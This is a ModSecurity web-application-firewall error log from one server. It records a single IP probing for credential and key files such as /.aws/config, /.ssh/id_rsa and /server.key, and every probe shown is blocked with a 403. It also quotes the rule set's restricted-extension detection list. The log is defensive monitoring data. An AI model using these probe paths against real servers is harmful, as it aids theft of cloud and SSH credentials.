[Sun Mar 01 20:25:47.841372 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aaSSuy6FxXVmoll0lknYlgAAAAs&quot;]
[Sun Mar 01 20:25:48.001225 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.boto&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .boto found within REQUEST_FILENAME: /.boto&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYnQAAAAs&quot;]
[Sun Mar 01 20:25:48.001459 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYnQAAAAs&quot;]
[Sun Mar 01 20:25:48.001630 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYnQAAAAs&quot;]
[Sun Mar 01 20:25:48.324056 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.ssh/id_rsa&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYqwAAAAs&quot;]
[Sun Mar 01 20:25:48.324305 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYqwAAAAs&quot;]
[Sun Mar 01 20:25:48.324470 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYqwAAAAs&quot;]
[Sun Mar 01 20:25:48.346784 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.ssh/id_rsa&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa.pub&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa.pub&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYrAAAAAs&quot;]
[Sun Mar 01 20:25:48.347024 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa.pub&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYrAAAAAs&quot;]
[Sun Mar 01 20:25:48.347191 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa.pub&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYrAAAAAs&quot;]
[Sun Mar 01 20:25:48.415627 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.ssh/authorized_keys&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/authorized_keys found within REQUEST_FILENAME: /.ssh/authorized_keys&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/authorized_keys&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYrwAAAAs&quot;]
[Sun Mar 01 20:25:48.415852 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/authorized_keys&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYrwAAAAs&quot;]
[Sun Mar 01 20:25:48.416024 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/authorized_keys&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYrwAAAAs&quot;]
[Sun Mar 01 20:25:48.438745 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.ssh/known_hosts&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/known_hosts found within REQUEST_FILENAME: /.ssh/known_hosts&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/known_hosts&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYsAAAAAs&quot;]
[Sun Mar 01 20:25:48.440042 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/known_hosts&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYsAAAAAs&quot;]
[Sun Mar 01 20:25:48.440211 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/known_hosts&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYsAAAAAs&quot;]
[Sun Mar 01 20:25:48.462515 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.ssh/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/config found within REQUEST_FILENAME: /.ssh/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/config&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYsQAAAAs&quot;]
[Sun Mar 01 20:25:48.462760 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/config&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYsQAAAAs&quot;]
[Sun Mar 01 20:25:48.462943 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/config&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYsQAAAAs&quot;]
[Sun Mar 01 20:25:48.530941 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYtAAAAAs&quot;]
[Sun Mar 01 20:25:48.531426 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYtAAAAAs&quot;]
[Sun Mar 01 20:25:48.531595 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYtAAAAAs&quot;]
[Sun Mar 01 20:25:48.714246 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.key&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYvAAAAAs&quot;]
[Sun Mar 01 20:25:48.714849 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.key&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYvAAAAAs&quot;]
[Sun Mar 01 20:25:48.715057 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.key&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYvAAAAAs&quot;]
[Sun Mar 01 20:25:48.829688 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.idea&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .idea found within REQUEST_FILENAME: /.idea/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYwQAAAAs&quot;]
[Sun Mar 01 20:25:48.829934 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYwQAAAAs&quot;]
[Sun Mar 01 20:25:48.830106 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/&quot;] [unique_id &quot;aaSSvC6FxXVmoll0lknYwQAAAAs&quot;]
[Sun Mar 01 20:25:49.036000 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.atom/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .atom/ found within REQUEST_FILENAME: /.atom/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.atom/&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknYygAAAAs&quot;]
[Sun Mar 01 20:25:49.036239 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.atom/&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknYygAAAAs&quot;]
[Sun Mar 01 20:25:49.036454 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.atom/&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknYygAAAAs&quot;]
[Sun Mar 01 20:25:49.151432 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] 